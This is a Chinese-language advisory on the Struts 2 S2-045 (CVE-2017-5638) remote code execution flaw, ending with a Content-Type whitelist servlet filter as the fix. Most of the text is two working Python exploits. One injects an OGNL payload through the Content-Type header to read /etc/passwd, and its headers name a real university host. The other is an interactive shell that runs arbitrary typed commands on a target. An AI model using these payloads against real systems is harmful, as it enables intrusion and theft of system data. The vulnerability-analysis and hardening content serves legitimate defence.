Struts 2 S2-045 Jakarta插件远程代码执行漏洞加固方法
近日，安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架-Struts2存在远程代码执行的严重漏洞。
漏洞编号
S2-045，CVE-2017-5638
漏洞名称
基于 Jakarta plugin插件的Struts远程代码执行漏洞
官方评级
高危
漏洞描述
Apache Struts 2被曝出存在远程命令执行漏洞，漏洞编号S2-045，CVE编号CVE-2017-5638，在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞，进而执行系统命令
漏洞利用条件和方式
黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。
1.基于Jakarta（Jakarta Multipart parser）插件的文件上传功能
2.恶意攻击者精心构造Content-Type的值
漏洞影响范围
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
Created by Lukasz Lenart, last modified yesterday at 01:14 PM
Poc
#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
header1 ={
"Host":"alumnus.shu.edu.cn",
"Connection":"keep-alive",
"Refer":"alumnus.shu.edu.cn",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"Accept-Encoding":"deflate",
"Accept-Language":"zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4",
}
def poc():
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]='''%{(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().
getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())}'''
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
print response.read()
poc()
Exp
# coding:utf-8
import requests,json,re
def Poc(url,command):
headers = {'Content-Type': 'multipart/form-data; boundary=f363ec3cc5ab44708db6a275b1f31a16',"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"}
headers["Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=' \
"+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
data = json.dumps({"image1":url})
try:
req = requests.post(url,data=data,headers=headers)
if req.status_code == 200:
print req.content
except requests.ConnectionError,e:
print e
th = {"url":""}
while True:
if th.get("url") != "":
input_cmd = raw_input("cmd >>: ")
if input_cmd == "exit":
exit()
elif input_cmd == 'set':
url = raw_input("set url :")
th['url'] = url
elif input_cmd == 'show url':
print th.get("url")
else:
Poc(th.get("url"),input_cmd)
else:
url = raw_input("set url :")
th["url"] = url
加固方式
通过判断Content-Type头是否为白名单类型，来限制非法Content-Type的攻击。
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class SecurityFilter extends HttpServlet implements Filter {
/**
*
*/
private static final long serialVersionUID = 1L;
public final String www_url_encode= "application/x-www-form-urlencoded";
public final String mul_data= "multipart/form-data ";
public final String txt_pla= "text/plain";
public void doFilter(ServletRequest arg0, ServletResponse arg1,
FilterChain arg2) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) arg0;
HttpServletResponse response = (HttpServletResponse) arg1;
String contenType=request.getHeader("conTent-type");
if(contenType!=null&&!contenType.equals("")&&!contenType.equalsIgnoreCase(www_url_encode)&&!contenType.equalsIgnoreCase(mul_data)&&!contenType.equalsIgnoreCase(txt_pla)){
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("非法请求Content-Type！");
return;
}
arg2.doFilter(request, response);
}
public void init(FilterConfig arg0) throws ServletException {
}
}
将Java编译以后的“SecurityFilter.class”（SecurityFilter.java是源代码文件）复制到应用的WEB-INF/classes目录下
⦁ 配置Filter 将下面的代码加入WEB-INF/web.xml文件中
<filter>
<filter-name>SecurityFilter</filter-name>
<filter-class>SecurityFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>SecurityFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>